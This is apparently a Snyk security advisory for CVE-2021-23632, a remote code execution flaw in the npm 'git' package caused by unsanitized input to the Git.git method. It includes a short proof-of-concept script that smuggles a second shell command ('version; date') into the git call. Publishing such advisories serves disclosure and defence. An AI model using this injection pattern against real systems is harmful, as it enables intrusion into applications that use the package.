Remote Code Execution (RCE) Affecting git package, versions *
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-GIT-1568518
- published 18 Oct 2021
- disclosed 23 Aug 2021
- credit Paul-Emmanuel Raoul of SkypLabs
Introduced: 23 Aug 2021
CVE-2021-23632 Open this link in a new tabHow to fix?
There is no fixed version for git
.
Overview
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git
method, which allows execution of OS commands rather than just git
commands.
Steps to Reproduce
Create a file named
exploit.js
with the following content:var Git = require("git").Git;
var repo = new Git("repo-test");
var user_input = "version; date";
repo.git(user_input, function(err, result) { console.log(result); })
In the same directory as
exploit.js
, runnpm install git
.Run
exploit.js
:node exploit.js
.
You should see the outputs of both the git version
and date
command-lines. Note that the repo-test
Git repository does not need to be present to make this PoC work.